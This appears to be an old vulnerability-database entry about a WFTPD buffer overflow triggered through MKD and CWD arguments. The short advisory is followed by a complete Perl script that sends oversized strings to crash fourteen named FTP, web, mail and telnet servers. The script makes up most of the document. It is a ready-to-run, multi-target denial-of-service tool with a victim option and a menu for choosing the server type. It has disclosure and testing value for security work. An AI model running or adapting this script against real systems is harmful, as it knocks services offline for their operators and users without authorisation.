source: http://www.securityfocus.com/bid/747/info


WFTPD is reported prone to a remote buffer overflow vulnerability. The issue exists due to a lack of sufficient bounds checking performed on MKD and CWD arguments. It is reported that superfluous data passed to MKD first and then to CWD results in the overflow.

This vulnerability may be exploited by a remote authenticate attacker to execute arbitrary code in the context of the affected service.

#!/usr/bin/perl
#####################################################################
# Based upon advisories by USSR (www.ussrback.com)		    #
#								    #
# Demonstration script to remotely overflow various server buffers, #
# resulting in a denial of service, for TESTING purposes only.	    #
# Runs on *nix & WinXX with perl & Net::Telnet available from CPAN  #
#								    #
# G6 FTP Server          v2.0 beta4/5				    #
# MDaemon httpd Server   v2.8.5.0				    #
# Avirt Mail Server      v3.5					    #
# BisonWare FTP Server   v3.5					    #
# Vermillion FTP Server  v1.23					    #
# ZetaMail POP3 Server   v2.1					    #
# WFTPD FTP Server       2.40					    #
# BFTelnet Server        v1.1					    #
# Broker FTP Server      v3.5				            #
# ExpressFS  FTP server  v2.x					    #
# XtraMail POP3 Server   v1.11					    #
# Cmail SMTP Server      v2.4	                                    #
# PakMail SMTP/POP3	 v1.25			                    #
#								    #
# December '99							    #
#####################################################################

use IO::Socket;
use Getopt::Std;
#use Net::Telnet;
getopts('h:p:t:u:v', \%args);
if(!defined($args{h}) && !defined($args{t})) { 
print  qq~Usage:    $0 -h <victim> -t <number> ((-u username) | (-p password)) | -v

	-h victim to test remote overflow DoS on
	-t server type (check the -v option for list)
	-u username authorisation (required if server prompts for username)
	-p password authentication (required if user/passwd is expected)
	-v lists all servers vulnerable to each DoS

~; exit; }

if(defined($args{u})) { $user=$args{u}; }
if(defined($args{p})) { $pass=$args{p}; }
if(defined($args{v})) { &vulnerable; }
if(defined($args{h}) && defined($args{t})){
if(($args{t}) == 1)  { &G6;         }
if(($args{t}) == 2)  { &mdaemon;    }
if(($args{t}) == 3)  { &avirt;      }
if(($args{t}) == 4)  { &bisonware;  }
if(($args{t}) == 5)  { &vermillion; }
if(($args{t}) == 6)  { &zetamail;   }
if(($args{t}) == 7)  { &wftpd;      }
if(($args{t}) == 8)  { &bftelnet;   } 
if(($args{t}) == 9)  { &broker;     } 
if(($args{t}) == 10) { &expressfs;  } 
if(($args{t}) == 11) { &xtramail;   }
if(($args{t}) == 12) { &cmail;      }
if(($args{t}) == 13) { &pakmail;    } 
if(($args{t}) == 14) { &pakpop;     }}

sub G6 { 
$denial .= "A" x 2000;
$victim=$args{h};
	$socket = IO::Socket::INET->new (Proto => "tcp",
				  	 PeerAddr => $victim,
				  	 PeerPort => "21") or die "Can't connect.\n";
	$socket->autoflush(1);
print $socket "$denial\n"; # user
print "\nSent overflow to $victim\n";
close $socket; }

sub mdaemon {
$victim=$args{h};
$denial .= "A" x 1025;
$url = "/$denial";
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "80") or die "Can't connect.\n";
print $socket "GET $url\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub avirt { 
$victim=$args{h};
$denial .= "A" x 856;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "25") or die "Can't connect\n";
        $socket->autoflush(1);
print $socket "user $user\n";
print $socket "pass $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub bisonware {
$victim=$args{h};
$denial .= "A" x 2000;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect\n";
        $socket->autoflush(1);
print $socket "$denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub vermillion {
$victim=$args{h};
$denial .= "A" x 504;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect\n";
        $socket->autoflush(1);
print $socket "$user\n";
print $socket "$pass\n";
print $socket "cwd $denial\n";
for($i=0; $i<=3; $i++) { print $socket "CWD $denial\n"; }
print "\nSent overflow to $victim\n";
close $socket; }

sub zetamail {
$victim=$args{h};
$denial .= "A" x 3500;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "110") or die "Can't connect.\n";
print $socket "user $denial\n"; 
print $socket "pass $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub wftpd {
$victim=$args{h};
$denial .= "A" x 255;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "21") or die "Can't connect.\n";
print $socket "$user\n";
print $socket "$pass\n";
print $socket "MKDIR $denial\n";
print $socket "CWD $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub bftelnet {
# use Net::Telnet;
$victim=$args{h};
$denial .= "A" x 3090;
$telnet = new Net::Telnet ( Timeout =>10,
			    Errmode =>'die');
$telnet->open('$victim');
$telnet->waitfor('/Login: $/i');
$telnet->print('$denial');
print "\nSent overflow to $victim\n";
close $telnet; }

sub broker {
$victim=$args{h};
$denial .= "A" x 2730;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect.\n";
print $socket "$denial\n";
print "\nSent overflow to $victim\n";
close $socket; }


sub expressfs {
$victim=$args{h};
$denial .= "A" x 654;
	$socket = IO::Socket::INET->new (Proto => "tcp",
			                 PeerAddr => $victim,
                			 PeerPort => "21") or die "Can't connect.\n";
print $socket "$denial\n";
print $socket "AAAAAAAAAAAAAAAAAAA\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub xtramail {
$victim=$args{h};
$denial .= "A" x 2930;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "25") or die "Can't connect.\n";
print $socket "MAIL FROM: test\@localhost\n";
print $socket "RCPT TO: $denial\@localhost\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub cmail {
$victim=$args{h};
$denial .= "A" x 7090;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "25") or die "Can't connect.\n";
print $socket "MAIL FROM: $denial\@localhost\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub pakmail {
$victim=$args{h};
$denial .= "A" x 1390;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "25") or die "Can't connect.\n";
print $socket "MAIL FROM: test\@localhost\n";
print $socket "RCPT TO: $denial\@localhost\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub pakpop {
$victim=$args{h};
$denial .= "A" x 1400;
	$socket = IO::Socket::INET->new (Proto => "tcp",
					 PeerAddr => $victim,
					 PeerPort => "110") or die "Can't connect.\n";
print $socket "user test\n";
print $socket "pass $denial\n";
print "\nSent overflow to $victim\n";
close $socket; }

sub vulnerable {
print qq~
 ______________________________________________________________________________
    Vulnerable Daemon        Version         Vulnerable Daemon         Version
 ______________________________________________________________________________

 [1] G6 FTP Server           v2.0b4/5     [2] MDaemon httpd Server     v2.8.5.0

 [3] Avirt Mail Server       v3.5         [4] BisonWare FTP Server     v3.5

 [5] Vermillion FTP Server   v1.23        [6] ZetaMail SMTP Server     v2.1

 [7] WFTPD FTP Server        v2.40        [8] BFTelnet Server          v1.1

 [9] Broker FTP Server       v3.5        [10] ExpressFS FTP Server     v2.x 

[11] XtraMail POP3 Server    v1.11       [12] Cmail SMTP Server        v2.4

[13] PakMail SMTP Server     v1.25       [14] PakMail POP3 Server      v1.25

~; exit; }

